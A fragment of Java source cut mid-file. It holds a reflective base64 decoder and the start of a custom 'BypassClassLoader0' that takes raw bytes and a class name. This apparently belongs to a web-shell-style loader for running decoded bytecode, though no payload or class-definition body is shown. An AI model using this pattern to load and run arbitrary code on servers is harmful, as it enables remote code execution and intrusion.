| 21 | } |
| 22 | |
| 23 | public static byte[] base64Decode(String bs) throws Exception { |
| 24 | Class base64; |
| 25 | byte[] value = null; |
| 26 | try { |
| 27 | base64 = Class.forName("java.util.Base64"); |
| 28 | Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); |
| 29 | value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); |
| 30 | } catch (Exception e) { |
| 31 | try { |
| 32 | base64 = Class.forName("sun.misc.BASE64Decoder"); |
| 33 | Object decoder = base64.newInstance(); |
| 34 | value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); |
| 35 | } catch (Exception e2) { |
| 36 | } |
| 37 | } |
| 38 | return value; |
| 39 | } |
| 40 | |
| 41 | public static class BypassClassLoader0 extends ClassLoader{ |
| 42 | public Class get(byte[] b,String name) { |